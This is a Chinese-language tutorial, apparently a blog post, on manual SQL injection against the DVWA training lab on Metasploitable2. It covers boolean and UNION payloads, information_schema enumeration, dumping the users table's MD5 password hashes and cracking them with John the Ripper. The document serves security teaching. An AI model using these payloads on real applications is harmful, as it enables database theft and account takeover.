SQL手工注入原理(一)

原理

服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器。

靶机

metasploitable2
DVWA ( mysql 数据库)

注入类型分类

主要分为 数字型 字符型
SQL手工注入原理(一)_第1张图片

基于布尔注入

and 和 or
SQL手工注入原理(一)_第2张图片

首先来分析下完整的SQL语句:
select fist_name,surname from users where id="1"
为了方便,我把 " 用 ' 表示
select fist_name,surname from users where id=' 1 '

接着输入 1' 发现会报错
那是因为此时语句为:select fist_name,surname from users where id=' 1' '
发现只闭合了前面的 ' ,后面的 '  没有闭合  所以猜测 输入  1''因该也可以

SQL手工注入原理(一)_第3张图片
这就是 闭合原理
注入的时候很多情况需要用到符号的闭合,不仅仅是SQL注入

and  、 or  的利用
样式语句:select fist_name,surname from users where id=' 1 '

输入  1' and '1' ='1    发现可以  (因为 '1'='1' 等价于 1  所以 输入也可以写成  1' and '1 )
查询语句为:select fist_name,surname from users where id=' 1' and '1' ='1 '

输入  1' and '1' ='2    发现不行,虽然没报错,但是没有结果
(因为 '1'='2' 等价于 0  所以 输入也可以写成  1' and '0 )
查询语句为:select fist_name,surname from users where id=' 1' and '1' ='2 '

输入  1' or '1' ='1    发现可以
查询语句为:select fist_name,surname from users where id=' 1' or '1' ='1 '

输入  1' or '1' ='2    发现也可以
查询语句为:select fist_name,surname from users where id=' 1' or '1' ='2 '

原因: and 是 与 的逻辑关系、  or 是 或 的逻辑关系

SQL手工注入原理(一)_第4张图片
SQL手工注入原理(一)_第5张图片

基于 UNION 注入

例句:select fist_name,surname from users where id=' 1 '

' order by 10--   匹配查询字段数  比如 上面的语句查询字段数是 2  fist_name,surname
-- 表示注释 ( -- 后面需要加个空格)
完整语句: select fist_name,surname from users where id=' ' order by 10--  '
注入时发现 10 的时候会报错 ,3的时候也报错
2的时候不报错,也没有结果;这时就可以猜测前面字段数有2个

接着就利用 union 联合查询语句
' union select 1,2-- 
' union all select database(),2--  
完整语句:
select fist_name,surname from users where id=' ' union select 1,2--  '
select fist_name,surname from users where id=' ' union all select database(),2--   '
通常情况下,加不加 all 区别不大

SQL手工注入原理(一)_第6张图片
SQL手工注入原理(一)_第7张图片

' union all select database(),substring_index(user(),"@",1)--
DB用户: user()
DB版本: version()
切分输出结果: substring_index(user(),"@",1) 
全局函数: @@datadir、@@hostname、 @@VERSION、 @@version_complie_os
当前库: database()
ASCII转字符: char()
连接字符串: CONCAT_WS(CHAR(32,58,32),user(),database(),version())
计算哈希: md5()  

命令比较长 可以 使用浏览器插件 hackbar 这样输入比较方便 url 里 + 表示 空格
 
注意:** 有时查询的信息比较多,但是联合查询时,前后查询字段数需要一致
这时就需要 使用  CONCAT_WS()这个函数

SQL手工注入原理(一)_第8张图片
SQL手工注入原理(一)_第9张图片

在 mysql  数据库里 有个特别 的库 information_schema 
这个数据库里包含了 mysql 上所有数据库的 表 的信息
table_name   表名
table_schema  表对应的库名
column_name  列名

查询所有表以及它的库名: ' union select table_name,table_schema from information_schema.tables-- 

按库来统计各个库里有多少表: ' union select table_schema,count(*) from information_schema.tables group by table_schema-- 

SQL手工注入原理(一)_第10张图片

原理:逐级查询 库——>表——>列

查询DVWA库的信息: ' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'-- 

查询users表的信息:  ' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'-- 

查询 user_id,user,password 列的信息: ' union select user_id,concat(user,0x3a,password) from dvwa.users-- 

0x3a  : 的16进制
密码被加密了  且 是 MD5加密的

SQL手工注入原理(一)_第11张图片
SQL手工注入原理(一)_第12张图片
SQL手工注入原理(一)_第13张图片

MD5解密

百度搜索有很多,可以在线解密!
这里也介绍使用 kali里 john

e.g.
gordonb:e99a18c428cb38d5f260853678922e03
利用在线MD5解密为:abc123

john的使用:
将登入名和MD5密文粘贴进kali的dvwa.txt
(文件名随便取,我是放在根目录下,用的时候可以先ls看在不在当前目录下)
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99

输入命令: john --format=raw-MD5 dvwa.txt
注:第一次解密输入上面的命令,
若有些 MD5 系统已经解密过了,系统会先查看  john.pot 文件里 

第二次解密可以使用: john --format=raw-MD5 dvwa.txt --show 

logout——>登入  发现可行!

SQL手工注入原理(一)_第14张图片
SQL手工注入原理(一)_第15张图片
下一篇:SQL注入原理之盲注

你可能感兴趣的:(SQL手工注入原理(一))